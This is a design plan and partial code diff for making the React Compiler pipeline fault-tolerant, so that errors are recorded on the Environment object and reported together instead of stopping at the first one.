Currently React Compiler runs through a series of passes in Pipeline.ts. If an error occurs in a pass the compiler will generally either throw the error in the pass where it occurs, or return a Result<_, CompilerError> which is then unwrapped in Pipeline.ts, throwing there. This means that a single error that triggers early can prevent later validation from running, meaning the user has to first fix one error in order to see another.
## New Approach
The compiler should always run all passes in the pipeline, up to and including CodegenReactiveFunction. During this process it should accumulate errors. If at the end of compilation there were no accumulated errors, return `Ok(generatedfunction)`. Else, return `Err(CompilerError)` with *all* the accumulated errors.
Note that some errors may continue to cause an eager bailout:
* If an error is not an instanceof CompilerError, throw it as it occurs
* If an error is a CompilerError invariant, throw it as it occurs since this represents a truly exceptional, unexpected case
## Detailed Design
* The Environment needs a way to record errors as compilation proceeds. This should generally store the error (and log, if a logger is configured), but should immediately throw if the error is an invariant (see above).
* BuildHIR should always produce an HIR without error. For syntax forms that are unsupported (currently throwing a Todo error), we should instead construct record the todo error on the environment, and construct a partial HIR. The exact form of the partial HIR can be situation specific:
* `var` is currently unsupported, but we could pretend it was `let`
* `finally` blocks are unsupported, we could just prune them, or move the code after the try/catch (put the finally logic in the consequent)
* This may mean updating the HIR to allow representing partial code
* `eval()` can just be an Unsupported InstructionValue variant
* All of the passes need to be updated to stop returning Result or CompilerError, and instead record their errors on the environment. They should always be able to proceed even in the presence of errors. For example, in InferMutationAliasingEffects if we discover that the code mutates a frozen value, we can record this as an error and then just pretend the mutation didn't happen - ie construct a scope as if the mutating code was not a mutation after all.
* Finally, the end of the pipeline should check for errors and either turn `Ok(GeneratedFunction)` or `Err(aggregatedErrors)`. The code calling into the pipeline then needs to handle this appropriately.
## Detailed Plan
### Phase 1: Environment Error Accumulation Infrastructure
Add error accumulation to the `Environment` class so that any pass can record errors during compilation without halting.
- [x] **1.1 Add error accumulator to Environment** (`src/HIR/Environment.ts`)
- Add a `#errors: CompilerError` field, initialized in the constructor
- Add a `recordError(error: CompilerDiagnostic | CompilerErrorDetail)` method that:
- If an Invariant-category detail, immediately throw it
- Otherwise, push the diagnostic/detail onto `#errors` (and log via `this.logger` if configured)
- Add a `recordErrors(error: CompilerError)` method that calls `recordError()` for each of the details on the given error.
- Add a `hasErrors(): boolean` getter
- Add a `aggregateErrors(): CompilerError` method that returns the accumulated error object
- Consider whether `recordError` should accept the same options as `CompilerError.push()` for convenience (reason, description, severity, loc, etc.)
- [x] **1.2 Add a `tryRecord` helper on Environment** (`src/HIR/Environment.ts`)
- Add a `tryRecord(fn: () => void): void` method that wraps a callback in try/catch:
- If `fn` throws a `CompilerError` that is NOT an invariant, record it via `recordError`
- If `fn` throws a non-CompilerError or a CompilerError invariant, re-throw
- This helper is the migration path for passes that currently throw: wrap their call in `env.tryRecord(() => pass(hir))` so exceptions become recorded errors
### Phase 2: Update Pipeline.ts to Accumulate Errors
Change `runWithEnvironment` to run all passes and check for errors at the end instead of letting exceptions propagate.
- [x] **2.1 Change `runWithEnvironment` return type** (`src/Entrypoint/Pipeline.ts`)
- Change return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
- At the end of the pipeline, check `env.hasErrors()`:
- If no errors: return `Ok(ast)`
- If errors: return `Err(env.aggregateErrors())`
- [x] **2.2 Update `compileFn` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
- Change `compileFn` return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
- Propagate the Result from `runWithEnvironment`
- [x] **2.3 Update `run` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
- Same change for the internal `run` function
- [x] **2.4 Update callers in Program.ts** (`src/Entrypoint/Program.ts`)
- In `tryCompileFunction`, change from try/catch around `compileFn` to handling the `Result`:
- If `Ok(codegenFn)`: return the compiled function
- If `Err(compilerError)`: return `{kind: 'error', error: compilerError}`
- Keep the try/catch only for truly unexpected (non-CompilerError) exceptions and invariants
- The existing `handleError`/`logError`/`panicThreshold` logic in `processFn` should continue to work unchanged since it already handles `CompilerError` instances
### Phase 3: Update BuildHIR (lower) to Always Produce HIR
Currently `lower()` returns `Result<HIRFunction, CompilerError>`. It already accumulates errors internally via `builder.errors`, but returns `Err` when errors exist. Change it to always return `Ok(hir)` while recording errors on the environment.
- [x] **3.1 Change `lower` to always return HIRFunction** (`src/HIR/BuildHIR.ts`)
- Change return type from `Result<HIRFunction, CompilerError>` to `HIRFunction`
- Instead of returning `Err(builder.errors)` at line 227-229, record errors on `env` via `env.recordErrors(builder.errors)` and return the (partial) HIR
- Update the pipeline to call `lower(func, env)` directly instead of `lower(func, env).unwrap()`
- Added try/catch around body lowering to catch thrown CompilerErrors (e.g., from `resolveBinding`) and record them
- [x] **3.2 Handle `var` declarations as `let`** (`src/HIR/BuildHIR.ts`, line ~855)
- Record the Todo error, then treat `var` as `let` and continue lowering (instead of skipping the declaration)
- [x] **3.3 Handle `try/finally` by pruning `finally`** (`src/HIR/BuildHIR.ts`, lines ~1281-1296)
- Already handled: `try` without `catch` pushes error and returns; `try` with `finally` pushes error and continues with `try/catch` portion only
- [x] **3.4 Handle `eval()` via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~3568)
- Already handled: records error via `builder.errors.push()` and continues
- [x] **3.5 Handle `with` statement via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~1382)
- Already handled: records error and emits `UnsupportedNode`
- [x] **3.6 Handle inline `class` declarations** (`src/HIR/BuildHIR.ts`, line ~1402)
- Already handled: records error and emits `UnsupportedNode`
- [x] **3.7 Handle remaining Todo errors in expression lowering** (`src/HIR/BuildHIR.ts`)
- Already handled: all ~60 error sites use `builder.errors.push()` to accumulate errors. The try/catch around body lowering provides a safety net for any that still throw.
- [x] **3.8 Handle `throw` inside `try/catch`** (`src/HIR/BuildHIR.ts`, line ~284)
- Already handled: records error via `builder.errors.push()` and continues
- [x] **3.9 Handle `for` loops with missing test or expression init** (`src/HIR/BuildHIR.ts`, lines ~559, ~632)
- For `for(;;)` (missing test): emit `true` as the test expression and add a branch terminal
- For empty init (`for (; ...)`): add a placeholder instruction to avoid invariant about empty blocks
- For expression init (`for (expr; ...)`): record error and lower the expression as best-effort
- Changed `'unsupported'` terminal to `'goto'` terminal for non-variable init to maintain valid CFG structure
- [x] **3.10 Handle nested function lowering failures** (`src/HIR/BuildHIR.ts`, `lowerFunction` at line ~3504)
- `lowerFunction()` now always returns `LoweredFunction` since `lower()` always returns `HIRFunction`
- Errors from nested functions are recorded on the shared environment
- Removed the `null` return case and the corresponding `UnsupportedNode` fallback in callers
- [x] **3.11 Handle unreachable functions in `build()`** (`src/HIR/HIRBuilder.ts`, `build()`)
- Changed `CompilerError.throwTodo()` for unreachable code with hoisted declarations to `this.errors.push()` to allow HIR construction to complete
- [x] **3.12 Handle duplicate fbt tags** (`src/HIR/BuildHIR.ts`, line ~2279)
- Changed `CompilerError.throwDiagnostic()` to `builder.errors.pushDiagnostic()` to record instead of throw
### Phase 4: Update Validation Passes
All validation passes need to record errors on the environment instead of returning `Result` or throwing. They should still detect the same problems, but the pipeline should continue after each one.
#### Pattern A passes (currently return `Result`, called with `.unwrap()`)
These passes already accumulate errors internally and return `Result<void, CompilerError>`. The change is: instead of returning the Result, record errors on `env` and return void. Remove the `.unwrap()` call in Pipeline.ts.
- [x] **4.1 `validateHooksUsage`** (`src/Validation/ValidateHooksUsage.ts`)
- Change signature from `(fn: HIRFunction): Result<void, CompilerError>` to `(fn: HIRFunction): void`
- Record errors on `fn.env` instead of returning `errors.asResult()`
- Update Pipeline.ts call site (line 211): remove `.unwrap()`
- [x] **4.2 `validateNoCapitalizedCalls`** (`src/Validation/ValidateNoCapitalizedCalls.ts`)
- Change signature to return void
- Fix the hybrid pattern: the direct `CallExpression` path currently throws via `CompilerError.throwInvalidReact()` — change to record on env
- The `MethodCall` path already accumulates — change to record on env
- Update Pipeline.ts call site (line 214): remove `.unwrap()`
- [x] **4.3 `validateUseMemo`** (`src/Validation/ValidateUseMemo.ts`)
- Change signature to return void
- Record hard errors on env instead of returning `errors.asResult()`
- The soft `voidMemoErrors` path already uses `env.logErrors()` — keep as-is or also record
- Update Pipeline.ts call site (line 170): remove `.unwrap()`
- [x] **4.4 `dropManualMemoization`** (`src/Inference/DropManualMemoization.ts`)
- Change signature to return void
- Record errors on env instead of returning `errors.asResult()`
- Update Pipeline.ts call site (line 178): remove `.unwrap()`
- [x] **4.5 `validateNoRefAccessInRender`** (`src/Validation/ValidateNoRefAccessInRender.ts`)
- Change signature to return void
- Record errors on env instead of returning Result
- Update Pipeline.ts call site (line 275): remove `.unwrap()`
- [x] **4.6 `validateNoSetStateInRender`** (`src/Validation/ValidateNoSetStateInRender.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 279): remove `.unwrap()`
- [x] **4.7 `validateNoImpureFunctionsInRender`** (`src/Validation/ValidateNoImpureFunctionsInRender.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 300): remove `.unwrap()`
- [x] **4.8 `validateNoFreezingKnownMutableFunctions`** (`src/Validation/ValidateNoFreezingKnownMutableFunctions.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 303): remove `.unwrap()`
- [x] **4.9 `validateExhaustiveDependencies`** (`src/Validation/ValidateExhaustiveDependencies.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 315): remove `.unwrap()`
- [x] **4.10 `validateMemoizedEffectDependencies`** (`src/Validation/ValidateMemoizedEffectDependencies.ts`)
- Change signature to return void (note: operates on `ReactiveFunction`)
- Record errors on the function's env
- Update Pipeline.ts call site (line 565): remove `.unwrap()`
- [x] **4.11 `validatePreservedManualMemoization`** (`src/Validation/ValidatePreservedManualMemoization.ts`)
- Change signature to return void (note: operates on `ReactiveFunction`)
- Record errors on the function's env
- Update Pipeline.ts call site (line 572): remove `.unwrap()`
- [x] **4.12 `validateSourceLocations`** (`src/Validation/ValidateSourceLocations.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 585): remove `.unwrap()`
#### Pattern B passes (currently use `env.logErrors()`)
These already use a soft-logging pattern and don't block compilation. They can be migrated to `env.recordError()` so all errors are aggregated in one place.
- [ ] **4.13 `validateNoDerivedComputationsInEffects_exp`** — change to record on env directly
- [ ] **4.14 `validateNoSetStateInEffects`** — change to record on env directly
- [ ] **4.15 `validateNoJSXInTryStatement`** — change to record on env directly
- [ ] **4.16 `validateStaticComponents`** — change to record on env directly
#### Pattern D passes (currently throw directly, no Result)
These throw `CompilerError` directly (not via Result). They need the most work.
- [x] **4.17 `validateContextVariableLValues`** (`src/Validation/ValidateContextVariableLValues.ts`)
- Currently throws via `CompilerError.throwTodo()` and `CompilerError.invariant()`
- Change to record Todo errors on env and continue
- Keep invariant throws (those indicate internal bugs)
- [x] **4.18 `validateLocalsNotReassignedAfterRender`** (`src/Validation/ValidateLocalsNotReassignedAfterRender.ts`)
- Currently constructs a `CompilerError` and `throw`s it directly
- Change to record errors on env
- [x] **4.19 `validateNoDerivedComputationsInEffects`** (`src/Validation/ValidateNoDerivedComputationsInEffects.ts`)
- Currently throws directly
- Change to record errors on env
### Phase 5: Update Inference Passes
The inference passes are the most critical to handle correctly because they produce side effects (populating effects on instructions, computing mutable ranges) that downstream passes depend on. They must continue producing valid (even if imprecise) output when errors are encountered.
- [x] **5.1 `inferMutationAliasingEffects`** (`src/Inference/InferMutationAliasingEffects.ts`)
- Currently returns `Result<void, CompilerError>` — errors are about mutation of frozen/global values
- Change to record errors on `fn.env` instead of accumulating internally
- **Key recovery strategy**: When a mutation of a frozen value is detected, record the error but treat the operation as a non-mutating read. This way downstream passes see a consistent (if conservative) view
- When a mutation of a global is detected, record the error but continue with the global unchanged
- Update Pipeline.ts (lines 233-239): remove the conditional `.isErr()` / throw pattern
- [x] **5.2 `inferMutationAliasingRanges`** (`src/Inference/InferMutationAliasingRanges.ts`)
- Currently returns `Result<Array<AliasingEffect>, CompilerError>`
- This pass has a meaningful success value (the function's external aliasing effects)
- Change to: always produce a best-effort effects array, record errors on env
- When errors are encountered, produce conservative effects (e.g., assume no external mutation)
- Update Pipeline.ts (lines 258-267): remove the conditional throw pattern, call directly
### Phase 6: Update Codegen
- [x] **6.1 `codegenFunction`** (`src/ReactiveScopes/CodegenReactiveFunction.ts`)
- Currently returns `Result<CodegenFunction, CompilerError>`
- Change to: always produce a `CodegenFunction`, record errors on env
- If codegen encounters an error (e.g., an instruction it can't generate code for), it should:
- Record the error
- For `UnsupportedNode` values: pass through the original AST node (already works this way)
- For other error cases: emit a placeholder or the original AST where possible
- Update Pipeline.ts (line 575-578): remove `.unwrap()`
### Phase 7: Pipeline.ts Pass-by-Pass Migration
Walk through `runWithEnvironment` and wrap each pass call site. This is the integration work tying Phases 3-6 together.
- [x] **7.1 Wrap `lower()` call** (line 163)
- Change from `lower(func, env).unwrap()` to `lower(func, env)` (direct return after Phase 3.1)
- [x] **7.2 Wrap validation calls that use `.unwrap()`** (lines 169-303)
- Remove `.unwrap()` from all validation calls after they're updated in Phase 4
- For validations guarded by `env.enableValidations`, keep the guard but remove the `.unwrap()`
- [x] **7.3 Wrap inference calls** (lines 233-267)
- After Phase 5, `inferMutationAliasingEffects` and `inferMutationAliasingRanges` record errors directly
- Remove the `mutabilityAliasingErrors` / `mutabilityAliasingRangeErrors` variables and their conditional throw logic
- [x] **7.4 Wrap `env.logErrors()` calls** (lines 286-331)
- After Phase 4.13-4.16, these passes record on env directly
- Remove the `env.logErrors()` wrapper calls
- [x] **7.5 Wrap codegen** (lines 575-578)
- After Phase 6.1, `codegenFunction` returns directly
- Remove the `.unwrap()`
- [x] **7.6 Add final error check** (end of `runWithEnvironment`)
- After all passes complete, check `env.hasErrors()`
- If no errors: return `Ok(ast)`
- If errors: return `Err(env.aggregateErrors())`
- [x] **7.7 Consider wrapping each pass in `env.tryRecord()`** as a safety net
- Even after individual passes are updated, wrapping each pass call in `env.tryRecord()` provides defense-in-depth
- If a pass unexpectedly throws a CompilerError (e.g., from a code path we missed), it gets caught and recorded rather than aborting the pipeline
- Non-CompilerError exceptions and invariants still propagate immediately
### Phase 8: Testing
- [x] **8.1 Update existing `error.todo-*` fixture expectations**
- Currently, fixtures with `error.todo-` prefix expect a single error and bailout
- After fault tolerance, some of these may now produce multiple errors
- Update the `.expect.md` files to reflect the new aggregated error output
- [x] **8.2 Add multi-error test fixtures**
- Create test fixtures that contain multiple independent errors (e.g., both a `var` declaration and a mutation of a frozen value)
- Verify that all errors are reported, not just the first one
- [x] **8.3 Add test for invariant-still-throws behavior**
- Verify that `CompilerError.invariant()` failures still cause immediate abort
- Verify that non-CompilerError exceptions still cause immediate abort
- [x] **8.4 Add test for partial HIR codegen**
- Verify that when BuildHIR produces partial HIR (with `UnsupportedNode` values), later passes handle it gracefully and codegen produces the original AST for unsupported portions
- [x] **8.5 Verify error severity in aggregated output**
- Test that the aggregated `CompilerError` correctly reports `hasErrors()` vs `hasWarning()` vs `hasHints()` based on the mix of accumulated diagnostics
- Verify that `panicThreshold` behavior in Program.ts is correct for aggregated errors
- [x] **8.6 Run full test suite**
- Run `yarn snap` and `yarn snap -u` to update all fixture expectations
- Ensure no regressions in passing tests
### Implementation Notes
**Ordering**: Phases 1 → 2 → 3 → 4/5/6 (parallel) → 7 → 8. Phase 1 (Environment infrastructure) is the foundation. Phase 2 (Pipeline return type) sets up the contract. Phases 3-6 can be done incrementally — each pass can be migrated independently using `env.tryRecord()` as a transitional wrapper. Phase 7 is the integration. Phase 8 validates everything.
**Incremental migration path**: Rather than updating all passes at once, each pass can be individually migrated. During the transition:
1. First add `env.tryRecord()` in Phase 7.7 around all pass calls in the pipeline — this immediately provides fault tolerance by catching any thrown CompilerError
2. Then individually update passes (Phases 3-6) to record errors directly on env, which is cleaner but not required for the basic behavior
3. This means the feature can be landed incrementally: Phase 1 + 2 + 7.7 gives basic fault tolerance, then individual passes can be refined over time
**What NOT to change**:
- `CompilerError.invariant()` must continue to throw immediately — these represent internal bugs
- Non-CompilerError exceptions must continue to throw — these are unexpected JS errors
- The `assertConsistentIdentifiers`, `assertTerminalSuccessorsExist`, `assertTerminalPredsExist`, `assertValidBlockNesting`, `assertValidMutableRanges`, `assertWellFormedBreakTargets`, `assertScopeInstructionsWithinScopes` assertion functions should continue to throw — they are invariant checks on internal data structure consistency
- The `panicThreshold` mechanism in Program.ts should continue to work — it now operates on the aggregated error from the Result rather than a caught exception, but the behavior is the same
## Key Learnings
* **Phase 2+7 (Pipeline tryRecord wrapping) was sufficient for basic fault tolerance.** Wrapping all passes in `env.tryRecord()` immediately enabled the compiler to continue past errors that previously threw. This caused 52 test fixtures to produce additional errors that were previously masked by the first error bailing out. For example, `error.todo-reassign-const` previously reported only "Support destructuring of context variables" but now also reports the immutability violation.
* **Lint-only passes (Pattern B: `env.logErrors()`) should not use `tryRecord()`/`recordError()`** because those errors are intentionally non-blocking. They are reported via the logger only and should not cause the pipeline to return `Err`. The `logErrors` pattern was kept for `validateNoDerivedComputationsInEffects_exp`, `validateNoSetStateInEffects`, `validateNoJSXInTryStatement`, and `validateStaticComponents`.
* **Inference passes that return `Result` with validation errors** (`inferMutationAliasingEffects`, `inferMutationAliasingRanges`) were changed to record errors via `env.recordErrors()` instead of throwing, allowing subsequent passes to proceed.
* **Value-producing passes** (`memoizeFbtAndMacroOperandsInSameScope`, `renameVariables`, `buildReactiveFunction`) need safe default values when wrapped in `tryRecord()` since the callback can't return values. We initialize with empty defaults (e.g., `new Set()`) before the `tryRecord()` call.
* **Phase 3 (BuildHIR) revealed that most error sites already used `builder.errors.push()` for accumulation.** The existing lowering code was designed to accumulate errors rather than throw. The main changes were: (1) changing `lower()` return type from `Result` to `HIRFunction`, (2) recording builder errors on env, (3) adding a try/catch around body lowering to catch thrown CompilerErrors from sub-calls like `resolveBinding()`, (4) treating `var` as `let` instead of skipping declarations, and (5) fixing ForStatement init/test handling to produce valid CFG structure.
* **Partial HIR can trigger downstream invariants.** When lowering skips or partially handles constructs (e.g., unreachable hoisted functions, `var` declarations before the fix), downstream passes like `InferMutationAliasingEffects` may encounter uninitialized identifiers and throw invariants. This is acceptable since the function still correctly bails out of compilation, but error messages may be less specific. The fix for `var` (treating as `let`) demonstrates how to avoid this: continue lowering with a best-effort representation rather than skipping entirely.
* **Errors accumulated on `env` are lost when an invariant propagates out of the pipeline.** Since invariant CompilerErrors always re-throw through `tryRecord()`, they exit the pipeline as exceptions. The caller only sees the invariant error, not any errors previously recorded on `env`. This is a design limitation that could be addressed by aggregating env errors with caught exceptions in `tryCompileFunction()`.
* **Dedicated fault tolerance test fixtures** were added in `__tests__/fixtures/compiler/fault-tolerance/`. Each fixture combines two or more errors from different passes to verify the compiler reports all of them rather than short-circuiting on the first. Coverage includes: `var`+props mutation (BuildHIR→InferMutationAliasingEffects), `var`+ref access (BuildHIR→ValidateNoRefAccessInRender), `try/finally`+props mutation (BuildHIR→InferMutationAliasingEffects), `try/finally`+ref access (BuildHIR→ValidateNoRefAccessInRender), and a 3-error test combining try/finally+ref access+props mutation.
* **Cleanup: consistent `tryRecord()` wrapping in Pipeline.ts.** All validation passes and inference passes are now wrapped in `env.tryRecord()` for defense-in-depth, consistent with the approach used for transform passes. Previously only transform passes were wrapped. Merged duplicate `env.enableValidations` guard blocks. Pattern B lint-only passes (`env.logErrors()`) were intentionally not wrapped since they use a different error recording strategy.
* **Cleanup: normalized validation error recording pattern.** Four validation passes (`ValidateNoDerivedComputationsInEffects`, `ValidateMemoizedEffectDependencies`, `ValidatePreservedManualMemoization`, `ValidateSourceLocations`) were using `for (const detail of errors.details) { env.recordError(detail); }` instead of the simpler `env.recordErrors(errors)`. Normalized to use the batch method.

View File

@@ -302,6 +302,15 @@ yarn snap minimize <path>
yarn snap -u
```
## Fault Tolerance
The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
## Further Reading
- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs

View File

@@ -826,6 +826,7 @@ export type StartMemoize = {
* emitting diagnostics with a suggested replacement
*/
depsLoc: SourceLocation | null;
hasInvalidDeps?: true;
loc: SourceLocation;
};
export type FinishMemoize = {

View File

@@ -7,7 +7,12 @@
import {Binding, NodePath} from '@babel/traverse';
import * as t from '@babel/types';
import {CompilerError, ErrorCategory} from '../CompilerError';
import {
CompilerError,
CompilerDiagnostic,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {Environment} from './Environment';
import {
BasicBlock,
@@ -110,7 +115,6 @@ export default class HIRBuilder {
#bindings: Bindings;
#env: Environment;
#exceptionHandlerStack: Array<BlockId> = [];
errors: CompilerError = new CompilerError();
/**
* Traversal context: counts the number of `fbt` tag parents
* of the current babel node.
@@ -148,6 +152,10 @@ export default class HIRBuilder {
this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
}
recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
this.#env.recordError(error);
}
currentBlockKind(): BlockKind {
return this.#current.kind;
}
@@ -308,24 +316,28 @@ export default class HIRBuilder {
resolveBinding(node: t.Identifier): Identifier {
if (node.name === 'fbt') {
this.errors.push({
category: ErrorCategory.Todo,
reason: 'Support local variables named `fbt`',
description:
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
loc: node.loc ?? GeneratedSource,
suggestions: null,
});
this.recordError(
new CompilerErrorDetail({
category: ErrorCategory.Todo,
reason: 'Support local variables named `fbt`',
description:
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
loc: node.loc ?? GeneratedSource,
suggestions: null,
}),
);
}
if (node.name === 'this') {
this.errors.push({
category: ErrorCategory.UnsupportedSyntax,
reason: '`this` is not supported syntax',
description:
'React Compiler does not support compiling functions that use `this`',
loc: node.loc ?? GeneratedSource,
suggestions: null,
});
this.recordError(
new CompilerErrorDetail({
category: ErrorCategory.UnsupportedSyntax,
reason: '`this` is not supported syntax',
description:
'React Compiler does not support compiling functions that use `this`',
loc: node.loc ?? GeneratedSource,
suggestions: null,
}),
);
}
const originalName = node.name;
let name = originalName;
@@ -371,13 +383,15 @@ export default class HIRBuilder {
instr => instr.value.kind === 'FunctionExpression',
)
) {
this.errors.push({
reason: `Support functions with unreachable code that may contain hoisted declarations`,
loc: block.instructions[0]?.loc ?? block.terminal.loc,
description: null,
suggestions: null,
category: ErrorCategory.Todo,
});
this.recordError(
new CompilerErrorDetail({
reason: `Support functions with unreachable code that may contain hoisted declarations`,
loc: block.instructions[0]?.loc ?? block.terminal.loc,
description: null,
suggestions: null,
category: ErrorCategory.Todo,
}),
);
}
}
ir.blocks = rpoBlocks;

View File

@@ -293,7 +293,7 @@ function extractManualMemoizationArgs(
instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
kind: 'useCallback' | 'useMemo',
sidemap: IdentifierSidemap,
errors: CompilerError,
env: Environment,
): {
fnPlace: Place;
depsList: Array<ManualMemoDependency> | null;
@@ -303,7 +303,7 @@ function extractManualMemoizationArgs(
Place | SpreadPattern | undefined
>;
if (fnPlace == null || fnPlace.kind !== 'Identifier') {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected a callback function to be passed to ${kind}`,
@@ -335,7 +335,7 @@ function extractManualMemoizationArgs(
? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
: null;
if (maybeDepsList == null) {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the dependency list for ${kind} to be an array literal`,
@@ -354,7 +354,7 @@ function extractManualMemoizationArgs(
for (const dep of maybeDepsList.deps) {
const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
if (maybeDep == null) {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
@@ -389,7 +389,6 @@ function extractManualMemoizationArgs(
* is only used for memoizing values and not for running arbitrary side effects.
*/
export function dropManualMemoization(func: HIRFunction): void {
const errors = new CompilerError();
const isValidationEnabled =
func.env.config.validatePreserveExistingMemoizationGuarantees ||
func.env.config.validateNoSetStateInRender ||
@@ -436,7 +435,7 @@ export function dropManualMemoization(func: HIRFunction): void {
instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
manualMemo.kind,
sidemap,
errors,
func.env,
);
if (memoDetails == null) {
@@ -464,7 +463,7 @@ export function dropManualMemoization(func: HIRFunction): void {
* is rare and likely sketchy.
*/
if (!sidemap.functions.has(fnPlace.identifier.id)) {
errors.pushDiagnostic(
func.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the first argument to be an inline function expression`,
@@ -549,10 +548,6 @@ export function dropManualMemoization(func: HIRFunction): void {
markInstructionIds(func.body);
}
}
if (errors.hasAnyErrors()) {
func.env.recordErrors(errors);
}
}
function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {

View File

@@ -513,7 +513,7 @@ function inferBlock(
if (handlerParam != null) {
CompilerError.invariant(state.kind(handlerParam) != null, {
reason:
'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
loc: terminal.loc,
});
const effects: Array<AliasingEffect> = [];
@@ -1315,7 +1315,7 @@ class InferenceState {
#values: Map<InstructionValue, AbstractValue>;
/*
* The set of values pointed to by each identifier. This is a set
* to accomodate phi points (where a variable may have different
* to accommodate phi points (where a variable may have different
* values from different control flow paths).
*/
#variables: Map<IdentifierId, Set<InstructionValue>>;

View File

@@ -20,6 +20,7 @@ import {
Place,
isPrimitiveType,
} from '../HIR/HIR';
import {Environment} from '../HIR/Environment';
import {
eachInstructionLValue,
eachInstructionValueOperand,
@@ -107,7 +108,7 @@ export function inferMutationAliasingRanges(
let index = 0;
const errors = new CompilerError();
const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
for (const param of [...fn.params, ...fn.context, fn.returns]) {
const place = param.kind === 'Identifier' ? param : param.place;
@@ -200,7 +201,9 @@ export function inferMutationAliasingRanges(
effect.kind === 'MutateGlobal' ||
effect.kind === 'Impure'
) {
errors.pushDiagnostic(effect.error);
if (shouldRecordErrors) {
fn.env.recordError(effect.error);
}
functionEffects.push(effect);
} else if (effect.kind === 'Render') {
renders.push({index: index++, place: effect.place});
@@ -245,11 +248,15 @@ export function inferMutationAliasingRanges(
mutation.kind,
mutation.place.loc,
mutation.reason,
errors,
shouldRecordErrors ? fn.env : null,
);
}
for (const render of renders) {
state.render(render.index, render.place.identifier, errors);
state.render(
render.index,
render.place.identifier,
shouldRecordErrors ? fn.env : null,
);
}
for (const param of [...fn.context, ...fn.params]) {
const place = param.kind === 'Identifier' ? param : param.place;
@@ -498,7 +505,6 @@ export function inferMutationAliasingRanges(
* would be transitively mutated needs a capture relationship.
*/
const tracked: Array<Place> = [];
const ignoredErrors = new CompilerError();
for (const param of [...fn.params, ...fn.context, fn.returns]) {
const place = param.kind === 'Identifier' ? param : param.place;
tracked.push(place);
@@ -513,7 +519,7 @@ export function inferMutationAliasingRanges(
MutationKind.Conditional,
into.loc,
null,
ignoredErrors,
null,
);
for (const from of tracked) {
if (
@@ -547,23 +553,17 @@ export function inferMutationAliasingRanges(
}
}
if (
errors.hasAnyErrors() &&
!isFunctionExpression &&
fn.env.enableValidations
) {
fn.env.recordErrors(errors);
}
return functionEffects;
}
function appendFunctionErrors(errors: CompilerError, fn: HIRFunction): void {
function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
if (env == null) return;
for (const effect of fn.aliasingEffects ?? []) {
switch (effect.kind) {
case 'Impure':
case 'MutateFrozen':
case 'MutateGlobal': {
errors.pushDiagnostic(effect.error);
env.recordError(effect.error);
break;
}
}
@@ -664,7 +664,7 @@ class AliasingState {
}
}
render(index: number, start: Identifier, errors: CompilerError): void {
render(index: number, start: Identifier, env: Environment | null): void {
const seen = new Set<Identifier>();
const queue: Array<Identifier> = [start];
while (queue.length !== 0) {
@@ -678,7 +678,7 @@ class AliasingState {
continue;
}
if (node.value.kind === 'Function') {
appendFunctionErrors(errors, node.value.function);
appendFunctionErrors(env, node.value.function);
}
for (const [alias, when] of node.createdFrom) {
if (when >= index) {
@@ -710,7 +710,7 @@ class AliasingState {
startKind: MutationKind,
loc: SourceLocation,
reason: MutationReason | null,
errors: CompilerError,
env: Environment | null,
): void {
const seen = new Map<Identifier, MutationKind>();
const queue: Array<{
@@ -742,7 +742,7 @@ class AliasingState {
node.transitive == null &&
node.local == null
) {
appendFunctionErrors(errors, node.value.function);
appendFunctionErrors(env, node.value.function);
}
if (transitive) {
if (node.transitive == null || node.transitive.kind < kind) {

View File

@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
In code, the mutability and aliasing model is compromised of the following phases:
